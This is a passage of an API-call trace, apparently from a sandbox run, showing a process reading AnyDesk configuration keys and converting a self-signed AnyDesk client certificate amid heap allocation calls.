Size=0xc) returned 0x1995858 [0283.689] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60b8 | out: hHeap=0x1930000) returned 1 [0283.689] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995858 | out: hHeap=0x1930000) returned 1 [0283.689] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c770, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973178 [0283.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c770, cbMultiByte=-1, lpWideCharStr=0x1973178, cchWideChar=15 | out: lpWideCharStr="ad.anynet.pkey") returned 15 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19731a0 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a60b8 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19731c8 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962e80 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19731f0 [0283.690] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.690] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973178 | out: hHeap=0x1930000) returned 1 [0283.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973178 [0283.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c780, cbMultiByte=-1, lpWideCharStr=0x1973178, cchWideChar=15 | out: lpWideCharStr="ad.anynet.cert") returned 15 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19731c8 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a60a8 [0283.690] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973218 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ea0 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973240 [0283.691] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973218 | out: hHeap=0x1930000) returned 1 [0283.691] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973178 | out: hHeap=0x1930000) returned 1 [0283.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4640, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1973178 [0283.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4640, cbMultiByte=-1, lpWideCharStr=0x1973178, cchWideChar=14 | out: lpWideCharStr="ad.anynet.fpr") returned 14 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1973218 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a60c8 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1973268 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ec0 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1973290 [0283.691] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973268 | out: hHeap=0x1930000) returned 1 [0283.691] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973178 | out: hHeap=0x1930000) returned 1 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995858 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973178 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995870 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x68) returned 0x1980e10 [0283.691] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990598 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995888 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a60d8 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ee0 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962f00 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19958a0 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19958b8 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a60e8 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19958d0 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19958e8 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962f20 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962f40 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995900 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995918 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995930 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a60f8 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995948 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a6108 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995960 [0283.692] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x60) returned 0x1960198 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x1970c00 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995978 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962f60 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995990 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19959a8 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x19a6118 [0283.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6128 [0283.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a6128, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6138 [0283.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a6138, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.693] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6128 | out: hHeap=0x1930000) returned 1 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x1964448 [0283.693] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6138 | out: hHeap=0x1930000) returned 1 [0283.693] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60b8 | out: hHeap=0x1930000) returned 1 [0283.693] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x19651a8 [0283.694] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964448 | out: hHeap=0x1930000) returned 1 [0283.694] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x19a60b8 [0283.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.694] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6138 [0283.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a6138, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.694] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6128 [0283.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a6128, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.694] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6138 | out: hHeap=0x1930000) returned 1 [0283.694] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1964448 [0283.694] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6128 | out: hHeap=0x1930000) returned 1 [0283.694] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60a8 | out: hHeap=0x1930000) returned 1 [0283.695] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1965f08 [0283.695] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964448 | out: hHeap=0x1930000) returned 1 [0283.695] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x1962f80 [0283.695] GetLastError () returned 0x0 [0283.695] GetSystemTime (in: lpSystemTime=0x294b11c | out: lpSystemTime=0x294b11c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x63)) [0283.695] GetCurrentThreadId () returned 0x5d8 [0283.695] GetCurrentProcessId () returned 0x51c [0283.695] GetLastError () returned 0x0 [0283.696] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1971d18, Size=0x218) returned 0x19a6ab8 [0283.696] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x19a6ab8, Size=0x31c) returned 0x19a6ab8 [0283.696] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x19a6ab8, Size=0x474) returned 0x19a6ab8 [0283.696] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x19a6ab8, Size=0x628) returned 0x1964b00 [0283.696] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1964b00, Size=0x884) returned 0x19666c0 [0283.696] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x558) returned 0x1964b00 [0283.696] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a20 | out: hHeap=0x1930000) returned 1 [0283.696] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a50 | out: hHeap=0x1930000) returned 1 [0283.696] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a38 | out: hHeap=0x1930000) returned 1 [0283.696] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964b00 | out: hHeap=0x1930000) returned 1 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962fc0 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995a38 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a6128 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a60a8 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6138 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1962fe0 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x9) returned 0x1995a50 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a6148 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995a20 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a9) returned 0x19a6ab8 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973268 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x58) returned 0x19755a0 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995a68 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963000 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995a80 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995a98 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963020 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x104) returned 0x1971d18 [0283.697] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963040 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19a6158 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963060 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x100) returned 0x1971e28 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963080 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x84) returned 0x196aee0 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19630a0 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x84) returned 0x196b3f0 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19630c0 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x84) returned 0x196b480 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19630e0 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x80) returned 0x1964b00 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963100 [0283.698] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x84) returned 0x196b510 [0283.698] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973178 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6ab8 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a20 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a60a8 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6148 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a50 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962fe0 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6128 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6138 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a38 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962fc0 | out: hHeap=0x1930000) returned 1 [0283.699] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198a4b8 | out: hHeap=0x1930000) returned 1 [0283.700] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19666c0 | out: hHeap=0x1930000) returned 1 [0283.700] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a08 | out: hHeap=0x1930000) returned 1 [0283.700] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970c48 | out: hHeap=0x1930000) returned 1 [0283.700] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964448 | out: hHeap=0x1930000) returned 1 [0283.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.700] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6138 [0283.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a6138, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.700] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6128 [0283.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a6128, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.700] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6138 | out: hHeap=0x1930000) returned 1 [0283.700] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x19666c0 [0283.700] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6128 | out: hHeap=0x1930000) returned 1 [0283.701] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965f08 | out: hHeap=0x1930000) returned 1 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1965f08 [0283.701] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19666c0 | out: hHeap=0x1930000) returned 1 [0283.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\nQAytK30fPh4/PsHI\n-----END CERTIFICATE-----\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 982 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3d6) returned 0x19a6ab8 [0283.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\nQAytK30fPh4/PsHI\n-----END CERTIFICATE-----\n", cchWideChar=-1, lpMultiByteStr=0x19a6ab8, cbMultiByte=982, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\nQAytK30fPh4/PsHI\n-----END CERTIFICATE-----\n", lpUsedDefaultChar=0x0) returned 982 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x1970c48 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995a08 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995a38 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995a50 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995a20 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x198a4b8 [0283.701] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x158) returned 0x1964b88 [0283.701] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1964b88, Size=0x218) returned 0x1964b88 [0283.702] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1964b88, Size=0x31c) returned 0x1964b88 [0283.702] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1964b88, Size=0x474) returned 0x1964b88 [0283.702] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x558) returned 0x1964448 [0283.702] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a38 | out: hHeap=0x1930000) returned 1 [0283.702] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a20 | out: hHeap=0x1930000) returned 1 [0283.702] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995a50 | out: hHeap=0x1930000) returned 1 [0283.703] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198a4b8 | out: hHeap=0x1930000) returned 1 [0283.703] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964448 | out: hHeap=0x1930000) returned 1 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6128 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1962fc0 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x9) returned 0x1995a50 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a6138 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962fe0 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995a20 [0283.703] RtlAllocateHeap 